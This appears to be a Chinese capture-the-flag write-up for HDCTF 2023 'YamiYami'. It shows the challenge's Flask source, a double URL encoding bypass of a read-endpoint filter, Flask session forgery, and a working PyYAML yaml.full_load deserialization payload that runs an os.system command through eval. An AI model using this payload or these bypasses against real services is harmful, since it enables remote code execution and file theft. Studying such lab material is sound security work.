首页 > 编程语言 >[HDCTF 2023]YamiYami python中的另一种反序列化--yaml

[HDCTF 2023]YamiYami python中的另一种反序列化--yaml

时间:2024-05-15 19:51:45浏览次数:22  
标签:return YamiYami app python yaml url file 序列化

今天做了到新颖的题,关于python中的yaml反序列化的题目,直接上题吧。

发现第一个链接的参数是?url=XXXX,一眼利用点。

嗯?直接出了flag,应该是非预期解。再看看有app.py,那就试试。发现app.*被过滤了,二次编码绕过试试。

点击查看代码
@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])
最开始做的时候不懂yaml反序列化,后来看了wp发现了,yaml.full_load()将YAML格式的字符串或文件加载成Python对象,造成了反序列化漏洞。那我们的步骤就变为了,伪造session,上传yaml文件(改后缀,因为前面有黑名单,改为txt),boogipop传入参数?file=uploads/1.txt,再在read页面进行文件读取。 seeion伪造需要涉及到uuid,可以看我前边的文章,当然自己搜也可以。得到mac为02:42:ac:02:ff:17。跑脚本获取key。

得到session了,那就开始上传文件,yaml详细解释看 https://www.cnblogs.com/icfh/p/17760855.html

点击查看代码
payload: 我发现很多题只有在tmp下有权限???本人比较穷,所以尽可能以后做题不nc

!!python/object/new:str
  args: []
  state: !!python/tuple
    - "__import__('os').system('cat /tmp/flag_13_114514 > /tmp/1.txt')"  
    - !!python/object/new:staticmethod
      args: []
      state:
        update: !!python/name:eval
        items: !!python/name:list

上传后访问boogipop?file=uploads/1.txt

成功,利用read页面查看/tmp/1.txt

总结:

  1. url二次编码绕过
  2. uuid相关session伪造
  3. yaml.full_load() 触发yaml反序列化

标签:return,YamiYami,app,python,yaml,url,file,序列化
From: https://www.cnblogs.com/jocker-love-you/p/18194596

相关文章

  • 05限流和序列化
    限流和序列化1.限流限流,限制用户访问频率,一般的限流用户信息都存于缓存之中,例如:用户1分钟最多访问100次或者短信验证码一天每天可以发送50次,防止盗刷。对于匿名用户,使用用户IP作为唯一标识。对于登录用户,使用用户ID或名称作为唯一标识。1.1限流组件使用步骤(1)创建限流组......
  • K8S之yaml 文件详解pod、deployment、service(转)
    原文:https://blog.csdn.net/footless_bird/article/details/125946101作者:墨鸦_Cormorant来源:CSDN K8S中的yaml文件yaml语法学习 Kubernetes支持YAML和JSON格式管理资源对象 JSON格式:主要用于api接口之间消息的传递 YAML格式:用于配置和管理,YAML是一种简......
  • fastjson和 gson 的反序列化的一个差异
     publicclassResponse01{privateThirdDatathirdData;publicThirdDatagetThirdData(){returnthirdData;}//ThirdDataextendBaseThirdDatapublicvoidsetThirdData(BaseThirdDatathirdData){thi......
  • yq工具处理yaml文件
    1.yq介绍一个轻量级、可移植的命令行YAML、JSON和XML处理器。yq使用类似jq的语法,但可以处理yaml文件以及json、xml、properties、csv和tsv。它还不支持所有jq功能-但它确实支持最常见的操作和功能,并且正在不断添加更多功能 2.github地址https://github.com/mike......
  • python 反序列化漏洞
    python反序列化前言:python反序列化相比java反序列化,更接近于php反序列化1.0python中的序列化函数**1.**pickle.dump(obj,file)将对象序列化后保存在文件中2.pickle.load(file)将文件中序列化内容反序列化为对象**3.**pickle.dumps(obj)将对象序列化后返回,返回的是......
  • PHP反序列化(Pikachu)
    原理php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。反序列化的函数为unse......
  • Kubernetes Dashboard部署安装recommended.yaml
    ```yml#Copyright2017TheKubernetesAuthors.##LicensedundertheApacheLicense,Version2.0(the"License");#youmaynotusethisfileexceptincompliancewiththeLicense.#YoumayobtainacopyoftheLicenseat##http://www.apache.......
  • Fastjson反序列化漏洞3:JdbcRowSetImpl利用链-JNDI注入
    第二条链Fastjson的三条链,现在我们来讲第二条com.sun.rowset.JdbcRowSetImplcom.sun.rowset.JdbcRowSetImplorg.apache.tomcat.dbcp.dbcp2.BasicDataSourceFastjson的三条链,现在我们来看第二条com.sun.rowset.JdbcRowSetImplsetAutoCommit、connect、setDataSourceNameset......
  • Fastjson反序列化漏洞2:BasicDataSource利用链-用于内网
    之前说的Fastjson的利用链,补充来了,没有偷懒(狗头)前情提要:BCEL:加载恶意类、Fastjson反序列化漏洞1:吹吹水Fastjson干了啥Fastjson就是处理json用的,可以将json转换成对象(自定义的一套序列化和反序列化)举个例子:下面这个json字符串经过JSON.parse(jsonString)处理可以得到com.test......
  • C++_函数式编程-以及常用序列化
    函数式编程函数式编程是一种编程范式,它强调程序的构建是通过应用(applying)和组合函数(composingfunctions)来实现的函数式编程属于“结构化编程”的一种,主要思想是把运算过程尽量写成一系列嵌套的函数调用 LambdaCalculus函数式编程语言早期的函数式......